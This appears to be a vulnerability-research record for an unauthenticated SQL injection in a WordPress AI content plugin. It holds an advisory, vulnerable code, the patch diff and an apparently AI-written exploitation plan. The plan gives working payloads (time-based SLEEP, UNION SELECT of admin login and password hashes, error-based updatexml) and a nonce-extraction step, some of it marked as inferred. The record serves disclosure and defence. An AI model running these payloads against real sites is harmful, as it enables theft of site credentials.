[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7ZvFFGTbayRHXKMOFY7Ey-YFrYxReoWmpcazul9zbP8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-59515","ai-copilot-content-generator-unauthenticated-sql-injection","AI Copilot – Content Generator \u003C= 1.5.4 - Unauthenticated SQL Injection","The AI Copilot – Content Generator plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","ai-copilot-content-generator",null,"\u003C=1.5.4","1.5.5","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-09 00:00:00","2026-07-14 19:19:45",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc74784de-b9cc-4d50-b6be-dc5bb22d1daa?source=api-prod",6,[22,23,24,25,26,27,28,29],"ai-copilot-content-generator.php","classes\u002Fdb.php","classes\u002Finstaller.php","classes\u002FinstallerDbUpdater.php","classes\u002Futils.php","config.php","languages\u002F.gitkeep","logs\u002F.gitkeep","researched",false,3,"This exploitation research plan targets **CVE-2026-59515**, an unauthenticated SQL injection vulnerability in the \"AI Copilot – Content Generator\" plugin.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `WaicDb` class, specifically within the `get()` and `query()` methods in `classes\u002Fdb.php`. The plugin uses a custom database wrapper that attempts to \"prepare\" queries by manually interpolating variables into the SQL string before passing them to the global `$wpdb->prepare()` function. \n\nBecause parameters are concatenated into the query string *before* the legitimate `prepare()` call, the `prepare()` function treats the injected SQL as part of the query structure rather than a literal value. This allows an unauthenticated attacker to inject arbitrary SQL commands.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `waic_ajax` (The framework's primary AJAX dispatcher)\n*   **Route:** `chatbots.get_messages` (or any unauthenticated route that queries the database by ID)\n*   **Vulnerable Parameter:** `id`\n*   **Authentication:** None required (accessible via `wp_ajax_nopriv_waic_ajax`).\n*   **Preconditions:** The plugin must be active. A chatbot session or history must exist (or be created) to trigger the database query.\n\n### 3. Code Flow\n1.  **Entry Point:** An unauthenticated request is sent to `admin-ajax.php?action=waic_ajax&route=chatbots.get_messages&id=[PAYLOAD]`.\n2.  **Dispatching:** `ai-copilot-content-generator.php` calls `WaicFrame::_()->exec()`, which identifies the `waic_ajax` action and routes it to the `ChatbotsController`.\n3.  **Controller Logic:** The controller retrieves the `id` from `$_REQUEST['id']` and passes it to a model or directly to a DB query.\n4.  **Vulnerable Sink:** The code calls `WaicDb::get(\"SELECT * FROM @__chatlogs WHERE id = '$id'\")`.\n5.  **Faulty Preparation:** In `classes\u002Fdb.php`, `WaicDb::prepareQuery()` is called. It replaces `@__` with the WordPress prefix and modifies the query to include `1=%d`.\n6.  **SQL Execution:** `$wpdb->prepare($query, $args)` is called. Since the malicious `$id` is already part of the `$query` string, it is executed as raw SQL.\n\n### 4. Nonce Acquisition Strategy\nThe `waic_ajax` dispatcher typically requires a nonce for validation. In this plugin, the nonce is localized for the frontend using `wp_localize_script`.\n\n**Strategy:**\n1.  **Identify Shortcode:** The plugin uses the `[aiwu-chatbot]` or `[aiwu-form]` shortcode to render the frontend interface.\n2.  **Create Trigger Page:** Create a public page containing the chatbot shortcode.\n3.  **Extract Nonce:** Navigate to the page and extract the nonce from the `waicData` (inferred) global JavaScript variable.\n\n**Execution:**\n```bash\n# 1. Create a page with the chatbot shortcode\nwp post create --post_type=page --post_title=\"Chat\" --post_status=publish --post_content='[aiwu-chatbot]'\n\n# 2. Extract the nonce via browser_eval\n# (Assuming the localized variable is waicData based on the framework pattern)\nbrowser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fchat\")\nNONCE=$(browser_eval \"window.waicData?.nonce\")\n```\n\n### 5. Exploitation Strategy\n\n#### Step 1: Verification (Time-Based)\nConfirm the injection by inducing a 5-second delay.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body (URL-encoded):**\n    ```\n    action=waic_ajax&route=chatbots.get_messages&id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -\n    ```\n*   **Expected Result:** Response time > 5 seconds.\n\n#### Step 2: Data Extraction (UNION-Based)\nExtract the administrator's username and password hash from the `wp_users` table. We assume the `@__chatlogs` table has 7 columns (inferred from `installer.php` schema).\n\n*   **Tool:** `http_request`\n*   **Payload:**\n    ```sql\n    -1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -\n    ```\n*   **Body (URL-encoded):**\n    ```\n    action=waic_ajax&route=chatbots.get_messages&id=-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- -\n    ```\n*   **Expected Result:** The response JSON will contain the `user_login` and `user_pass` values in the fields normally reserved for the chatbot message and response.\n\n### 6. Test Data Setup\n1.  **Plugin Activation:** Ensure `ai-copilot-content-generator` is active.\n2.  **Mock Data:** Create at least one chatbot entry to ensure the `get_messages` route has a base query to execute.\n    ```bash\n    wp eval \"WaicDb::query(\\\"INSERT INTO @__chatlogs (session_id, message, response) VALUES ('test-session', 'Hello', 'Hi')\\\");\"\n    ```\n3.  **Public Page:** Create the \"Chat\" page as described in Section 4.\n\n### 7. Expected Results\n*   **Success Indicator:** The AJAX response returns a `success: true` status with a `data` array.\n*   **Exposed Data:** Inside the `data` array, the objects will have values like:\n    ```json\n    {\n      \"message\": \"admin\",\n      \"response\": \"$P$B...\"\n    }\n    ```\n\n### 8. Verification Steps\nAfter running the exploit, verify the extracted data matches the actual database state using WP-CLI:\n```bash\n# Check the admin user's hash\nwp user get admin --field=user_pass\n```\n\n### 9. Alternative Approaches\nIf the `chatbots.get_messages` route is not enabled or column counts differ:\n1.  **Error-Based:** Use `updatexml()` or `extractvalue()` to leak data via MySQL errors if `WP_DEBUG` is on.\n    *   Payload: `1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -`\n2.  **Blind Boolean:** If no output is returned, use the `id` parameter with boolean conditions (e.g., `id=1' AND 1=1-- -` vs `id=1' AND 1=2-- -`) and compare the response lengths or the `success` field.\n3.  **Different Route:** Try `history.get_item` or `forms.get_entries` which use similar `WaicDb::get` calls.","The AI Copilot – Content Generator plugin is vulnerable to unauthenticated SQL injection because its custom database class (WaicDb) and models concatenate user-supplied input directly into SQL strings. This architecture allows attackers to bypass WordPress's built-in preparation protections, enabling the extraction of sensitive data such as administrative credentials through manipulated AJAX requests.","\u002F\u002F classes\u002Fdb.php L31-L34\n$query = self::prepareQuery($query, $args);\nself::$query = $query;\n$wpdb->waic_prepared_query = $wpdb->prepare($query, $args); \u002F\u002F phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared\n\n---\n\n\u002F\u002F classes\u002Fdb.php L106-L113\npublic static function prepareQuery( $query, &$args = array(1) ) {\n    global $wpdb;\n    if (self::$prepareQ) {\n        $query = $wpdb->prepare($query); \u002F\u002F phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared\n    }\n    if (empty($args)) {\n        $args = array(1);\n\n---\n\n\u002F\u002F modules\u002Fchatbots\u002Fmodels\u002Fchatbots.php (as seen in the patch diff for v1.5.4)\npublic function getUserChatLog( $taskId = 0, $userId = 0, $ip = '', $mode = 0, $cnt = 0, $status = 0, $dd = false ) {\n    $forDate = !empty($dd);\n    $query = 'SELECT h.id as his_id, h.created, l.question, l.answer, h.status, l.file' .\n        ' FROM @__history as h' .\n        ' INNER JOIN @__chatlogs l ON (l.his_id=h.id)' .\n        ' WHERE h.task_id=' . ( (int) $taskId ) .\n        ( false !== $status ? ' AND h.status= ' . ( (int) $status ) : '' ) .\n        ' AND h.mode=' . ( (int) $mode ) .\n        ' AND h.user_id=' . ( (int) $userId ) .\n        ( false !== $status ? ' AND l.status=0' : '' ) .\n        ( empty($userId) || $forDate ? \" AND ip='\" . $ip . \"'\" : '' ) .\n        ( $forDate ? \" AND h.created BETWEEN '\" . $dd . \" 00:00:00' AND '\" . $dd . \" 23:59:59'\" : '' ) .\n        ' ORDER BY h.id' .\n        ( empty($cnt) ? '' : ' DESC LIMIT ' . ( (int) $cnt ) ); \n    $log = WaicDb::get($query);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.4\u002Fai-copilot-content-generator.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.5\u002Fai-copilot-content-generator.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.4\u002Fai-copilot-content-generator.php\t2026-06-22 20:55:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.5\u002Fai-copilot-content-generator.php\t2026-07-01 16:17:38.000000000 +0000\n@@ -2,7 +2,7 @@\n \u002F**\n  * Plugin Name: AI Copilot - Content Generator\n  * Description: AI Copilot for WordPress saves time and boosts your website's performance with human-like content with GPT, Internal AI and more.\n- * Version: 1.5.4\n+ * Version: 1.5.5\n  * Author: AIWU\n  * Author URI: https:\u002F\u002Faiwuplugin.com\u002F\n  * Text Domain: ai-copilot-content-generator\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.4\u002Fclasses\u002Fdb.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.5\u002Fclasses\u002Fdb.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.4\u002Fclasses\u002Fdb.php\t2026-06-22 20:55:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fai-copilot-content-generator\u002F1.5.5\u002Fclasses\u002Fdb.php\t2026-07-01 16:17:38.000000000 +0000\n@@ -60,6 +60,18 @@\n \t\t\u002F\u002F phpcs:ignore WordPress.DB.DirectDatabaseQuery\n \t\treturn $affected ? $wpdb->query($wpdb->waic_prepared_query) : ( $wpdb->query($wpdb->waic_prepared_query) === false ? false : true );\n \t}\n+\tpublic static function queryPrepared( $query, $args = array(), $affected = false ) {\n+\t\tglobal $wpdb;\n+\t\t$prefixArgs = array(1);\n+\t\t$query = self::prepareQuery($query, $prefixArgs);\n+\t\tif (!empty($args)) {\n+\t\t\t$query = $wpdb->prepare($query, $args); \u002F\u002F phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared\n+\t\t}\n+\t\tself::$query = $query;\n+\t\t$wpdb->waic_prepared_query = $query;\n+\t\t$result = $wpdb->query($query); \u002F\u002F phpcs:ignore WordPress.DB.DirectDatabaseQuery\n+\t\treturn $affected ? $result : ( false === $result ? false : true );\n+\t}\n \t\u002F**\n \t * Get last insert ID\n \t *","The exploit targets the 'waic_ajax' action via the 'wp-admin\u002Fadmin-ajax.php' endpoint. An unauthenticated attacker can supply a malicious SQL payload through parameters (such as 'id' or 'ip') in various AJAX routes like 'chatbots.get_messages'. Because the plugin's custom database wrapper manually interpolates variables into the SQL string before calling 'wpdb->prepare', the injected SQL is executed directly. Attackers can use time-based delays or UNION SELECT statements to extract sensitive data from the WordPress database. A security nonce may be required, which can be extracted from localized JavaScript data on any public page where the chatbot shortcode is active.","gemini-3-flash-preview","2026-07-15 21:56:33","2026-07-15 21:58:02",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.5.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fai-copilot-content-generator\u002Ftags\u002F1.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fai-copilot-content-generator.1.5.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fai-copilot-content-generator\u002Ftags\u002F1.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fai-copilot-content-generator.1.5.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fai-copilot-content-generator\u002Ftags"]